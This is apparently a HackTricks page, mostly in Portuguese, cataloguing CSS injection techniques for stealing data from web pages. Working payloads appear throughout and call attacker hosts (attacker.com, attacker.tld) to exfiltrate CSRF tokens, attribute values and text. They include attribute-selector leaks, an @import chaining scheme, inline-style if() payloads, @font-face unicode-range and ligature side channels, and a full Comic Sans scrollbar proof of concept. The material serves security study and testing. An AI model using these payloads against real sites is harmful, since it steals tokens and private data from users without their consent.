CSS Injection

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

CSS Injection

LESS Code Injection

LESS é um popular pré-processador CSS que adiciona variáveis, mixins, funções e a poderosa diretiva @import. Durante a compilação, o motor do LESS irá buscar os recursos referenciados em declarações @import e incorporar (“inline”) seus conteúdos no CSS resultante quando a opção (inline) for usada.

{{#ref}} less-code-injection.md {{/ref}}

Seletor de Atributo

Seletores CSS são criados para corresponder aos valores dos atributos name e value de um elemento input. Se o atributo value do elemento input começar com um caractere específico, um recurso externo predefinido é carregado:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (type=“hidden”) porque elementos ocultos não carregam backgrounds.

Bypass para Elementos Ocultos

Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador geral de irmãos ~ (general sibling combinator). A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Um exemplo prático de exploração dessa técnica está detalhado no trecho de código fornecido. Você pode visualizá-lo here.

Pré-requisitos para CSS Injection

Para que a técnica de CSS Injection seja eficaz, certas condições devem ser atendidas:

  1. Payload Length: O vetor de injeção CSS deve suportar payloads suficientemente longos para acomodar os seletores construídos.
  2. CSS Re-evaluation: Você deve ter a capacidade de incluir a página em um frame, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
  3. External Resources: A técnica pressupõe a capacidade de usar imagens hospedadas externamente. Isso pode ser restrito pela Content Security Policy (CSP) do site.

Blind Attribute Selector

Como explained in this post, é possível combinar os seletores :has e :not para identificar conteúdo mesmo de elementos blind. Isso é muito útil quando você não tem ideia do que há dentro da página web que carrega a CSS injection.
Também é possível usar esses seletores para extrair informação de vários blocos do mesmo tipo, como em:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Combinando isto com a seguinte técnica @import, é possível exfiltrar muita info using CSS injection from blind pages with blind-css-exfiltration.

@import

A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ou ser capaz de send multiple links to the victim, ou ser capaz de iframe the CSS injection vulnerable page.

No entanto, há outra técnica inteligente que usa CSS @import para melhorar a qualidade da técnica.

Isto foi mostrado pela primeira vez por Pepe Vila e funciona assim:

Em vez de carregar a mesma página várias vezes com dezenas de payloads diferentes cada vez (como na técnica anterior), vamos load the page just once and just with an import to the attackers server (este é o payload a enviar para a vítima):

@import url("//attacker.com:5001/start?");
  1. O import vai receber algum script CSS dos atacantes e o navegador irá carregá-lo.
  2. A primeira parte do script CSS que o atacante enviará é outro @import para o servidor do atacante novamente.
  3. O servidor do atacante não responderá a essa requisição ainda, pois queremos leak alguns chars e depois responder esse import com o payload para leak os próximos.
  4. A segunda e maior parte do payload será um attribute selector leakage payload
  5. Isso enviará para o servidor do atacante o primeiro char do segredo e o último
  6. Uma vez que o servidor do atacante tenha recebido o primeiro e último char do segredo, ele irá responder o import solicitado no passo 2.
  7. A resposta será exatamente a mesma que os passos 2, 3 e 4, mas desta vez tentará encontrar o segundo char do segredo e então o penúltimo.

O atacante seguir esse loop até conseguir leak completamente o segredo.

You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.

Tip

The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:

css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }

This allows the script to leak the secret faster.

Warning

Às vezes o script não detecta corretamente que o prefixo + sufixo descobertos já são a flag completa e ele continuará para frente (no prefixo) e para trás (no sufixo) e em algum momento vai travar.
Sem problemas, apenas verifique a output porque você pode ver a flag lá.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element’s inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

Warning

Equality comparisons in if() require double quotes for string literals. Single quotes will not match.

  • Sink: controlar o atributo style de um elemento e garantir que o atributo alvo esteja no mesmo elemento (attr() reads only same-element attributes).
  • Read: copiar o atributo para uma variável CSS: –val: attr(title).
  • Decide: selecionar uma URL usando condicionais aninhados comparando a variável com candidatos string: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: aplicar background: image-set(var(–steal)) (ou qualquer propriedade que faça fetch) para forçar uma requisição ao endpoint escolhido.

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Payload funcional (aspas duplas obrigatórias na comparação):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Enumerando valores de atributos com condicionais aninhadas:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Demonstração realista (sondando nomes de usuário):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notes and limitations:

  • Funciona em navegadores baseados em Chromium na época da pesquisa; o comportamento pode diferir em outros engines.
  • Mais adequado para espaços de valores finitos/enumeráveis (IDs, flags, short usernames). Roubar strings arbitrariamente longas sem folhas de estilo externas continua sendo um desafio.
  • Qualquer propriedade CSS que recupere uma URL pode ser usada para acionar a requisição (por exemplo, background/image-set, border-image, list-style, cursor, content).

Automation: a Burp Custom Action pode gerar payloads inline-style aninhados para brute-force de valores de atributos: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Outros seletores

Outras maneiras de acessar partes do DOM com CSS selectors:

  • .class-to-search:nth-child(2): Isto irá buscar o segundo item com a classe “class-to-search” no DOM.
  • :empty selector: Usado por exemplo em this writeup:

css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

A intenção geral é usar uma fonte customizada a partir de um endpoint controlado e garantir que o texto (neste caso, ‘A’) seja exibido com essa fonte somente se o recurso especificado (favicon.ico) não puder ser carregado.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Uso de Fonte Personalizada:
  • Uma fonte personalizada é definida usando a regra @font-face dentro de uma tag
  • A fonte é nomeada poc e é obtida de um endpoint externo (http://attacker.com/?leak).
  • A propriedade unicode-range é definida como U+0041, direcionando o caractere Unicode específico ‘A’.
  1. Elemento com Texto de Fallback:
  • Um elemento com id=“poc0” é criado na seção . Este elemento tenta carregar um recurso de http://192.168.0.1/favicon.ico.
  • O font-family para este elemento é definido como ‘poc’, conforme definido na seção
  • Se o recurso (favicon.ico) falhar ao carregar, o conteúdo de fallback (a letra ‘A’) dentro da tag é exibido.
  • O conteúdo de fallback (‘A’) será renderizado usando a fonte personalizada poc se o recurso externo não puder ser carregado.

Estilizando Scroll-to-Text Fragment

A pseudo-classe :target é empregada para selecionar um elemento alvo de um fragmento de URL, como especificado na CSS Selectors Level 4 specification. É crucial entender que ::target-text não corresponde a nenhum elemento a menos que o texto seja explicitamente alvo do fragmento.

Uma preocupação de segurança surge quando atacantes exploram o recurso Scroll-to-text, permitindo que confirmem a presença de um texto específico em uma página ao carregar um recurso do seu servidor por meio de injeção HTML. O método envolve injetar uma regra CSS como esta:

:target::before {
content: url(target.png);
}

Nesses cenários, se o texto “Administrator” estiver presente na página, o recurso target.png é solicitado ao servidor, indicando a presença do texto. Um exemplo desse ataque pode ser executado por meio de uma URL especialmente construída que incorpora o CSS injetado juntamente com um Scroll-to-text fragment:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Aqui, o ataque manipula HTML injection para transmitir o código CSS, mirando no texto específico “Administrator” através do Scroll-to-text fragment (#:~:text=Administrator). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença ao atacante.

Para mitigação, devem ser observados os seguintes pontos:

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF) foi projetado para casar apenas palavras ou frases, limitando assim sua capacidade de leak segredos arbitrários ou tokens.
  2. Restriction to Top-level Browsing Contexts: STTF opera somente em top-level browsing contexts e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível para o usuário.
  3. Necessity of User Activation: STTF requer um gesto de user-activation para operar, o que significa que explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. Ainda assim, o autor do blog post aponta condições e bypasses específicos (por exemplo, social engineering, interação com browser extensions prevalentes) que podem facilitar a automação do ataque.

A conscientização sobre esses mecanismos e potenciais vulnerabilidades é fundamental para manter a segurança web e proteger contra tais táticas de exploração.

Para mais informações, confira o relatório original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Você pode conferir um exploit usando esta técnica para um CTF aqui.

@font-face / unicode-range

Você pode especificar fontes externas para valores unicode específicos que só serão carregadas se esses valores unicode estiverem presentes na página. Por exemplo:

<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

Ao aceder esta página, Chrome e Firefox fazem fetch de “?A” e “?B” porque o text node de sensitive-information contém os caracteres “A” e “B”. Mas Chrome e Firefox não fazem fetch de “?C” porque não contém “C”. Isto significa que conseguimos ler “A” e “B”.

Text node exfiltration (I): ligatures

Referência: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

A técnica descrita envolve extrair texto de um nó explorando ligaduras de fontes e monitorando mudanças na largura. O processo envolve vários passos:

  1. Criação de Custom Fonts:
  • SVG fonts são criadas com glyphs que têm o atributo horiz-adv-x, que define uma largura grande para um glyph que representa uma sequência de dois caracteres.
  • Exemplo de SVG glyph: , onde “XY” denota uma sequência de dois caracteres.
  • Estas fonts são depois convertidas para o formato woff usando fontforge.
  1. Deteção de Alterações na Largura:
  • CSS é usado para garantir que o texto não quebre de linha (white-space: nowrap) e para personalizar o estilo da scrollbar.
  • O aparecimento de uma scrollbar horizontal, estilizada de forma distinta, atua como um indicador (oracle) de que uma ligadura específica, e portanto uma sequência de caracteres específica, está presente no texto.
  • The CSS involved: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit Process:
  • Step 1: Fonts são criadas para pares de caracteres com largura substancial.
  • Step 2: Um truque baseado em scrollbar é empregado para detectar quando o glyph de grande largura (ligature para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.
  • Step 3: Ao detetar uma ligadura, novos glyphs representando sequências de três caracteres são gerados, incorporando o par detetado e adicionando um caractere precedente ou seguinte.
  • Step 4: É feita a deteção da ligadura de três caracteres.
  • Step 5: O processo repete-se, revelando progressivamente todo o texto.
  1. Otimização:
  • O método de inicialização atual usando não é ideal.
  • Uma abordagem mais eficiente poderia envolver o truque @import do CSS, melhorando o desempenho do exploit.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Referência: PoC using Comic Sans by @Cgvwzq & @Terjanq

Este truque foi publicado nesta Slackers thread. O charset usado num text node pode ser leaked usando as fonts padrão instaladas no browser: não são necessárias fonts externas ou customizadas.

O conceito revolve em utilizar uma animação para expandir incrementalmente a largura de um div, permitindo que um caractere de cada vez transite da parte ‘sufixo’ do texto para a parte ‘prefixo’. Este processo efetivamente divide o texto em duas secções:

  1. Prefixo: a linha inicial.
  2. Sufixo: a(s) linha(s) subsequente(s).

As fases de transição dos caracteres apareceriam da seguinte forma:

C
ADB

CA
DB

CAD
B

CADB

Durante esta transição, o truque unicode-range é empregado para identificar cada novo carácter à medida que se junta ao prefixo. Isto é conseguido ao alternar a font para Comic Sans, que é notavelmente mais alta que a fonte padrão, desencadeando consequentemente uma scrollbar vertical. O aparecimento desta scrollbar revela indiretamente a presença de um novo carácter no prefixo.

Embora este método permita a deteção de caracteres únicos à medida que aparecem, ele não especifica qual caractere é repetido, apenas que ocorreu uma repetição.

Tip

Basicamente, o unicode-range is used to detect a char, mas como não queremos carregar uma font externa, precisamos de encontrar outra forma.
Quando o char é found, é given a pré-instalada Comic Sans font, que makes o char bigger e triggers a scroll bar que irá leak the found char.

Veja o código extraído do PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset com uma fonte padrão ocultando elementos (não requer ativos externos)

Referência: This is mentioned as an unsuccessful solution in this writeup

Este caso é muito similar ao anterior; no entanto, aqui o objetivo de fazer caracteres específicos maiores do que outros é ocultar algo — como um botão para que o bot não o pressione ou uma imagem que não será carregada. Assim, podemos medir a ação (ou a falta dela) e saber se um caractere específico está presente no texto.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Referência: This is mentioned as an unsuccessful solution in this writeup

Neste caso, poderíamos tentar leak se um caractere está no texto carregando uma fonte falsa da mesma origem:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.

No entanto, se a diferença de tempo entre a resposta cached e a non-cached não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: “However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.”

Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)

Referência: Isto é mencionado como an unsuccessful solution in this writeup

Nesse caso você pode indicar CSS to load hundreds of fake fonts da mesma origem quando ocorrer uma correspondência. Dessa forma você pode measure the time que isso leva e descobrir se um char aparece ou não com algo como:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

E o código do bot fica assim:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Portanto, se a fonte não corresponder, o tempo de resposta ao visitar o bot deve ser aproximadamente 30 segundos. No entanto, se houver uma correspondência de fonte, múltiplas requisições serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Portanto, o tempo de resposta pode ser usado como um indicador para determinar se há uma correspondência de fonte.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks